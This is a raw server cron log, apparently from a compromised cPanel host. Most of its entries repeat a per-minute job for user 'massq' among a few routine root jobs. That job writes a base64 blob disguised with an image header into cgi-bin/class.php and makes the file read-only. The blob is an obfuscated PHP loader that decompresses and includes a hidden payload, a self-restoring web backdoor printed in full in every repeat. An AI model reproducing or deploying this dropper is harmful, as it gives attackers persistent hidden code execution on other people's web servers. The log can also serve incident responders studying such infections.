Nov 15 15:28:01 server CROND[13219]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:29:01 server CROND[13472]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:30:01 server CROND[13743]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 15:30:01 server CROND[13745]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 15:30:01 server CROND[13744]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 15:30:01 server CROND[13746]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:31:01 server CROND[14064]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:32:01 server CROND[14412]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:33:01 server CROND[14692]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:34:01 server CROND[14952]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:35:01 server CROND[15212]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 15:35:01 server CROND[15214]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 15:35:01 server CROND[15219]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:35:01 server CROND[15220]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 15 15:35:01 server CROND[15218]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 15 15:36:01 server CROND[15534]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:37:01 server CROND[15896]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:38:01 server CROND[16163]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:39:01 server CROND[16431]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 15 15:39:01 server CROND[16430]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 15 15:40:01 server CROND[16710]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 15 15:40:01 server CROND[16711]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 15 15:40:01 server CROND[16712]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 15 15:40:01 server CROND[16713]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
